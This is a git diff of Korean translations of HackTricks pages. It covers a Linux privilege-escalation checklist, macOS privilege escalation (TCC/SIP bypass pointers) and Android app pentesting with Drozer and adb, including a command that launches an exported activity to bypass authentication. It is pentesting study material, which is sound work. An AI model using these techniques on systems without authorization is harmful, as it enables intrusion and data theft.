### [사용자](privilege-escalation/#users)
* [ ] 일반 사용자/그룹 **열거**
* [ ] **매우 큰 UID**가 있나요? **기계가 취약한가요?**
* [ ] 당신이 속한 [**그룹 덕분에 권한을 상승시킬 수 있나요**](privilege-escalation/interesting-groups-linux-pe/)?
* [ ] **매우 큰 UID**가 있나요? **기계가** **취약한가요**?
* [ ] 당신이 속한 [**그룹 덕분에 권한을 상승시킬 수**](privilege-escalation/interesting-groups-linux-pe/) 있나요?
* [ ] **클립보드** 데이터?
* [ ] 비밀번호 정책?
* [ ] 이전에 발견한 **모든 알려진 비밀번호**를 사용하여 **각 사용자**로 로그인 시도해 보세요. 비밀번호 없이도 로그인 시도해 보세요.
### [쓰기 가능한 PATH](privilege-escalation/#writable-path-abuses)
* [ ] **PATH의 일부 폴더에 쓰기 권한**이 있다면 권한을 상승시킬 수 있습니다.
* [ ] **PATH의 일부 폴더에 대한 쓰기 권한**이 있다면 권한을 상승시킬 수 있습니다.
### [SUDO 및 SUID 명령](privilege-escalation/#sudo-and-suid)
* [ ] **sudo로 어떤 명령을 실행할 수 있나요?** 루트로 **READ, WRITE 또는 EXECUTE**할 수 있나요? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] **sudo로 어떤 명령을 실행**할 수 있나요? 루트로 **READ, WRITE 또는 EXECUTE**할 수 있나요? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] **악용 가능한 SUID 바이너리**가 있나요? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] [**sudo** 명령이 **경로에 의해 제한**되어 있나요? 제한을 **우회**할 수 있나요](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] [**sudo** 명령이 **경로**에 의해 **제한**되어 있나요? 제한을 **우회**할 수 있나요](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] [**경로가 표시되지 않은 Sudo/SUID 바이너리**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
* [ ] [**경로를 지정한 SUID 바이너리**](privilege-escalation/#suid-binary-with-command-path)? 우회
* [ ] [**LD\_PRELOAD 취약점**](privilege-escalation/#ld\_preload)
* [ ] [**SUID 바이너리에서 .so 라이브러리 부족**](privilege-escalation/#suid-binary-so-injection) 쓰기 가능한 폴더에서?
* [ ] [**SUID 바이너리에서 쓰기 가능한 폴더의 .so 라이브러리 부족**](privilege-escalation/#suid-binary-so-injection)?
* [ ] [**사용 가능한 SUDO 토큰**](privilege-escalation/#reusing-sudo-tokens)? [**SUDO 토큰을 생성할 수 있나요**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
* [ ] [**sudoers 파일을 읽거나 수정할 수 있나요**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
* [ ] [**/etc/ld.so.conf.d/**를 수정할 수 있나요](privilege-escalation/#etc-ld-so-conf-d)?
* [ ] [**/etc/ld.so.conf.d/**를 **수정**할 수 있나요](privilege-escalation/#etc-ld-so-conf-d)?
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) 명령
### [능력](privilege-escalation/#capabilities)
@ -146,7 +146,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [ ] **프로파일 파일** - 민감한 데이터 읽기? 권한 상승을 위한 쓰기?
* [ ] **passwd/shadow 파일** - 민감한 데이터 읽기? 권한 상승을 위한 쓰기?
* [ ] 민감한 데이터에 대한 **일반적으로 흥미로운 폴더** 확인
* [ ] **이상한 위치/소유 파일,** 접근하거나 실행 파일을 변경할 수 있는 파일
* [ ] **이상한 위치/소유 파일,** 접근하거나 실행 파일을 변경할 수 있습니다.
* [ ] **최근 몇 분 내에 수정됨**
* [ ] **Sqlite DB 파일**
* [ ] **숨겨진 파일**
@ -158,9 +158,9 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
### [**쓰기 가능한 파일**](privilege-escalation/#writable-files)
* [ ] **파이썬 라이브러리 수정**하여 임의의 명령 실행?
* [ ] **로그 파일을 수정할 수 있나요?** **Logtotten** 익스플로잇
* [ ] **/etc/sysconfig/network-scripts/**를 수정할 수 있나요? Centos/Redhat 익스플로잇
* [ ] **임의의 명령을 실행하기 위해 파이썬 라이브러리**를 수정할 수 있나요?
* [ ] **로그 파일을 수정할 수 있나요**? **Logtotten** 익스플로잇
* [ ] **/etc/sysconfig/network-scripts/**를 **수정할 수 있나요**? Centos/Redhat 익스플로잇
* [ ] [**ini, int.d, systemd 또는 rc.d 파일에 쓸 수 있나요**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
### [**기타 팁**](privilege-escalation/#other-tricks)
@ -168,7 +168,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [ ] [**NFS를 악용하여 권한을 상승시킬 수 있나요**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] [**제한된 셸에서 탈출해야 하나요**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -178,10 +178,10 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
**최신 발표**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
오늘 [**디스코드**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -192,7 +192,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
</details>

View file

@ -15,24 +15,24 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대한 내용을 탐구하세요.
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
새로운 버그 바운티 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
## 기본 MacOS
macOS에 익숙하지 않다면, macOS의 기본을 배우기 시작해야 합니다:
macOS에 익숙하지 않다면 macOS의 기본을 배우기 시작해야 합니다:
* 특별한 macOS **파일 및 권한:**
@ -52,13 +52,13 @@ macOS에 익숙하지 않다면, macOS의 기본을 배우기 시작해야 합
[macos-applefs.md](macos-applefs.md)
{% endcontent-ref %}
* **커널**의 **구조**
* **커널**의 **아키텍처**
{% content-ref url="mac-os-architecture/" %}
[mac-os-architecture](mac-os-architecture/)
{% endcontent-ref %}
* 일반적인 macOS **네트워크 서비스 및 프로토콜**
* 일반적인 macOS n**etwork 서비스 및 프로토콜**
{% content-ref url="macos-protocols.md" %}
[macos-protocols.md](macos-protocols.md)
@ -69,7 +69,7 @@ macOS에 익숙하지 않다면, macOS의 기본을 배우기 시작해야 합
### MacOS MDM
기업에서 **macOS** 시스템은 **MDM으로 관리될 가능성이 높습니다**. 따라서 공격자의 관점에서 **이것이 어떻게 작동하는지** 아는 것이 흥미롭습니다:
기업에서**macOS** 시스템이 **MDM으로 관리될 가능성이 높습니다**. 따라서 공격자의 관점에서 **그 작동 방식을 아는 것이 흥미롭습니다**:
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
[macos-mdm](../macos-red-teaming/macos-mdm/)
@ -91,17 +91,17 @@ macOS에 익숙하지 않다면, macOS의 기본을 배우기 시작해야 합
### 파일 권한
**루트로 실행되는 프로세스가** 사용자가 제어할 수 있는 파일을 작성하면, 사용자는 이를 악용하여 **권한을 상승시킬 수 있습니다**.\
**루트로 실행되는 프로세스가** 사용자가 제어할 수 있는 파일을 작성하면 사용자는 이를 악용하여 **권한을 상승시킬 수 있습니다**.\
이는 다음과 같은 상황에서 발생할 수 있습니다:
* 사용자가 이미 생성한 파일(사용자 소유)
* 사용자가 이미 생성한 파일(사용자 소유)
* 사용자가 그룹 때문에 쓸 수 있는 파일
* 사용자가 파일을 생성할 수 있는 사용자 소유의 디렉토리 내의 파일
* 루트 소유의 디렉토리 내의 파일이지만 사용자가 그룹 때문에 쓰기 권한이 있는 경우(사용자가 파일을 생성할 수 있음)
* 사용자가 소유한 디렉토리 내의 파일(사용자가 파일을 생성할 수 있음)
* 루트가 소유한 디렉토리 내의 파일이지만 사용자가 그룹 때문에 쓰기 권한이 있는 경우(사용자가 파일을 생성할 수 있음)
**루트에 의해 사용될** 파일을 **생성할 수 있는** 것은 사용자가 **그 내용**을 이용하거나 다른 위치를 가리키는 **심볼릭 링크/하드 링크**를 생성할 수 있게 합니다.
**루트에 의해 사용될** 파일을 **생성할 수 있는** 것은 사용자가 **그 내용의 이점을 취하거나** 심지어 **심볼릭 링크/하드 링크**를 만들어 다른 위치를 가리키게 할 수 있게 합니다.
이러한 종류의 취약점에 대해 **취약한 `.pkg` 설치 프로그램****확인하는 것을 잊지 마세요**:
이러한 종류의 취약점에 대해서는 **취약한 `.pkg` 설치 프로그램을 확인하는 것을 잊지 마세요**:
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
@ -117,13 +117,13 @@ macOS에 익숙하지 않다면, macOS의 기본을 배우기 시작해야 합
## macOS TCC / SIP 권한 상승
macOS에서 **애플리케이션 및 바이너리는** 폴더나 설정에 접근할 수 있는 권한을 가질 수 있으며, 이는 다른 애플리케이션보다 더 많은 권한을 부여합니다.
macOS에서 **응용 프로그램 및 바이너리는** 폴더나 설정에 접근할 수 있는 권한을 가질 수 있으며, 이는 다른 것들보다 더 많은 권한을 부여합니다.
따라서 macOS 머신을 성공적으로 침해하려는 공격자는 **TCC 권한을 상승시켜야** 합니다(또는 필요에 따라 **SIP를 우회해야** 니다).
따라서 macOS 머신을 성공적으로 침해하려는 공격자는 **TCC 권한을 상승시켜야** 합니다(또는 필요에 따라 **SIP를 우회해야** 할 수도 있습니다).
이러한 권한은 일반적으로 애플리케이션이 서명된 **권한**의 형태로 제공되거나, 애플리케이션이 일부 접근을 요청하고 **사용자가 이를 승인한 후** **TCC 데이터베이스**에서 찾을 수 있습니다. 프로세스가 이러한 권한을 얻는 또 다른 방법은 **그러한 권한을 가진 프로세스의 자식**이 되는 것입니다. 이 권한은 일반적으로 **상속됩니다**.
이러한 권한은 일반적으로 응용 프로그램이 서명된 **권한**의 형태로 제공되거나, 응용 프로그램이 일부 접근을 요청하고 **사용자가 이를 승인한 후** **TCC 데이터베이스**에서 찾을 수 있습니다. 프로세스가 이러한 권한을 얻는 또 다른 방법은 **그 권한을 가진 프로세스의 자식**이 되는 것입니다. 이 권한은 일반적으로 **상속됩니다**.
다양한 방법으로 [**TCC에서 권한 상승하기**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC 우회하기**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 및 과거에 [**SIP가 우회된 방법**](macos-security-protections/macos-sip.md#sip-bypasses)을 찾으려면 이 링크를 따라가세요.
다양한 방법으로 [**TCC에서 권한을 상승시키는 방법**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC를 우회하는 방법**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 및 과거에 [**SIP가 우회된 방법**](macos-security-protections/macos-sip.md#sip-bypasses)을 찾으려면 이 링크를 따라가세요.
## macOS 전통적인 권한 상승
@ -137,7 +137,7 @@ macOS에서 **애플리케이션 및 바이너리는** 폴더나 설정에 접
* [https://github.com/usnistgov/macos\_security](https://github.com/usnistgov/macos\_security)
## 참고자료
## 참고 문헌
* [**OS X 사고 대응: 스크립팅 및 분석**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
@ -145,18 +145,18 @@ macOS에서 **애플리케이션 및 바이너리는** 폴더나 설정에 접
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대한 내용을 탐구하세요.
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
새로운 버그 바운티 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -26,7 +26,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**Latest Announcements**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 최신 정보를 유지하세요.
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
@ -47,7 +47,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
## Smali
때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 배울 수 있습니다](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
## Other interesting tricks
@ -76,7 +76,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## 정적 분석
우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다**.\
자세한 디컴파일러 정보는 [**여기에서 확인하세요**](apk-decompilers.md).
자세한 정보는 [**여기에서 다양한 디컴파일러에 대한 정보를 확인하세요**](apk-decompilers.md).
### 흥미로운 정보 찾기
@ -84,20 +84,20 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
**Firebase**
**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase에 대한 정보와 이를 악용하는 방법은 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml
**애플리케이션의 \_Manifest.xml**_\*\* 및 \*\*_**strings.xml**\_\*\* 파일을 검사하면 잠재적인 보안 취약점을 드러낼 수 있습니다\*\*. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
**애플리케이션의 \_Manifest.xml**_\*\* 및 \*\*_**strings.xml**\_\*\* 파일의 검토는 잠재적인 보안 취약점을 드러낼 수 있습니다\*\*. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
**Manifest.xml**에서 식별된 **취약점**은 다음과 같습니다:
* **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
* **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다.
* **네트워크 보안**: _res/xml/_의 사용자 정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
* **네트워크 보안**: _res/xml/_의 사용자 정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
* **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
* **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 접근 또는 데이터 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
* **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
* **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
* **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다.
**strings.xml** 파일에서 API 키, 사용자 정의 스키마 및 기타 개발자 노트와 같은 민감한 정보를 발견할 수 있으며, 이러한 리소스를 신중하게 검토할 필요성을 강조합니다.
@ -130,7 +130,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`과 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 다른 애플리케이션, 특히 잠재적으로 악의적인 애플리케이션에 의한 파일 접근을 **제한하지 않습니다**.
1. **정적 분석:**
* `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근** 파일을 **노출할 수 있습니다**.
* `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**으로 파일을 **노출할 수 있습니다**.
2. **동적 분석:**
* 앱에서 생성된 파일에 설정된 **권한**을 **확인**합니다. 특히, **전 세계적으로 읽거나 쓸 수 있도록 설정된 파일이 있는지 확인**합니다. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
@ -178,7 +178,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms**
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시의 무차별 대입 **저항성**을 높여야 합니다.
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시의 무차별 대입 공격에 **저항**할 수 있어야 합니다.
### Other checks
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -330,21 +330,21 @@ As pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **애플리케이션의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출**될 수 있습니다. 잠재적인 데이터 유출을 식별하기 위해 **애플리케이션의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
### SQLite DBs
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 하며, 여기서 **민감한 정보**를 발견할 수 있습니다(이는 취약점이 될 수 있습니다).\
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다.
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다.
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 **Android 앱의 역할을 가정**하고 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 **모든 작업**을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용**하는 데 유용한 도구입니다.
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Androids Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### Exploiting exported Activities
@ -353,7 +353,7 @@ Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass**
활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 **내보내진** 활동이 있는 경우 **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
Activity가 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 **내보내진** 활동이 있는 경우 **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)
@ -367,44 +367,44 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**NOTE**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용하는 것을 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다.
{% hint style="info" %}
권한 우회가 항상 취약점이 되는 것은 아니며, 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다.
권한 우회가 항상 취약점은 아니라는 점에 유의해야 하며, 이는 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 달라집니다.
{% endhint %}
**민감한 정보 유출**
**활동은 결과를 반환할 수도 있습니다**. 만약 당신이 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는다면, 민감한 정보 유출이 발생합니다.
**활동은 결과를 반환할 수도 있습니다**. 만약 당신이 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는다면, 이는 민감한 정보 유출입니다.
#### Tapjacking
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하 만들 수 있습니다**. [**Tapjacking이 무엇인지에 대한 더 많은 정보는 이 링크를 따르세요**](./#tapjacking).
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. [**Tapjacking이 무엇인지에 대한 더 많은 정보는 이 링크를 따르세요**](./#tapjacking).
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한, **SQL 인젝션** 및 **경로 탐색**의 가능성을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출할 수** 있을 것입니다. 또한, **SQL 인젝션** 및 **경로 탐색**의 가능성을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/#content-providers)
### **서비스 악용**
